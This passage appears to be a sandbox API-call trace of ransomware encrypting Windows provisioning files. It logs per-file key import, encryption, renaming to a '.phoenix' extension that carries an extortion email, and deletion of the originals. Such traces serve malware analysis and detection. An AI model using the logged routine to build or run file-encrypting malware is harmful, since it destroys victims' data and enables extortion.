	[0259.752] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\95__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0259.754] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0259.754] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\96__connections_cellular_orange (denmark)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0259.754] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=647) returned 1
	[0259.754] CloseHandle (hObject=0x2d0) returned 1
	[0259.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\96__connections_cellular_orange (denmark)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0259.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\96__connections_cellular_orange (denmark)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.755] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\96__connections_cellular_orange (denmark)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0259.755] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.755] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.755] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\96__connections_cellular_orange (denmark)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0259.756] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151300) returned 1
	[0259.756] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.756] ReadFile (in: hFile=0x2d0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x287, lpOverlapped=0x0) returned 1
	[0259.761] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0259.761] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0259.762] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151340) returned 1
	[0259.762] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.762] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0259.762] CryptDestroyKey (hKey=0x151340) returned 1
	[0259.763] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0259.763] CryptDestroyKey (hKey=0x151300) returned 1
	[0259.763] CloseHandle (hObject=0x2d0) returned 1
	[0259.763] CloseHandle (hObject=0x2f4) returned 1
	[0259.763] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\96__connections_cellular_orange (denmark)_i0$(__mvid)@wap.provxml")) returned 1
	[0259.764] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0259.764] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\97__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0259.766] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=472) returned 1
	[0259.766] CloseHandle (hObject=0x2f4) returned 1
	[0259.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\97__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0259.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\97__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.766] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\97__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0259.766] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.766] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.766] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\97__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0259.767] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0259.767] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.767] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1d8, lpOverlapped=0x0) returned 1
	[0259.982] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0) returned 1
	[0259.983] WriteFile (in: hFile=0x2d0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1e0, lpOverlapped=0x0) returned 1
	[0259.985] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151540) returned 1
	[0259.985] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.985] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0259.985] CryptDestroyKey (hKey=0x151540) returned 1
	[0259.985] WriteFile (in: hFile=0x2d0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0259.986] CryptDestroyKey (hKey=0x151380) returned 1
	[0259.986] CloseHandle (hObject=0x2f4) returned 1
	[0259.986] CloseHandle (hObject=0x2d0) returned 1
	[0259.986] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\97__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0259.987] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0259.987] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0259.988] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2365) returned 1
	[0259.988] CloseHandle (hObject=0x2d0) returned 1
	[0259.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20
	[0259.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\0__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.988] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0259.988] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.988] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.988] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\0__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0259.989] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151740) returned 1
	[0259.989] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.989] ReadFile (in: hFile=0x2d0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x93d, lpOverlapped=0x0) returned 1
	[0259.990] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x940, dwBufLen=0x940 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x940) returned 1
	[0259.990] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x940, lpOverlapped=0x0) returned 1
	[0259.993] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151080) returned 1
	[0259.993] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.993] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0259.993] CryptDestroyKey (hKey=0x151080) returned 1
	[0259.993] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0259.994] CryptDestroyKey (hKey=0x151740) returned 1
	[0259.994] CloseHandle (hObject=0x2d0) returned 1
	[0259.994] CloseHandle (hObject=0x2f4) returned 1
	[0259.994] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\0__power_policy.provxml")) returned 1
	[0259.995] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0259.995] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\1__power_policy.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0259.996] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=4120) returned 1
	[0259.996] CloseHandle (hObject=0x2f4) returned 1
	[0259.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\1__power_policy.provxml")) returned 0x20
	[0259.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\1__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.996] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\1__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0259.996] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.996] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.996] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\1__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0259.997] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151740) returned 1
	[0259.997] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.997] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1018, lpOverlapped=0x0) returned 1
	[0260.040] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1020, dwBufLen=0x1020 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1020) returned 1
	[0260.040] WriteFile (in: hFile=0x2d0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1020, lpOverlapped=0x0) returned 1
	[0260.042] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151780) returned 1
	[0260.042] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0260.042] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0260.042] CryptDestroyKey (hKey=0x151780) returned 1
	[0260.042] WriteFile (in: hFile=0x2d0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0260.042] CryptDestroyKey (hKey=0x151740) returned 1
	[0260.042] CloseHandle (hObject=0x2f4) returned 1
	[0260.042] CloseHandle (hObject=0x2d0) returned 1
	[0260.042] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\1__power_policy.provxml")) returned 1
	[0260.043] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0260.043] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\2__power_policy.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0260.044] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=6457) returned 1
	[0260.044] CloseHandle (hObject=0x2d0) returned 1
	[0260.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\2__power_policy.provxml")) returned 0x20
	[0260.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\2__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.044] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\2__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0260.045] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0260.045] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0260.045] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\2__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
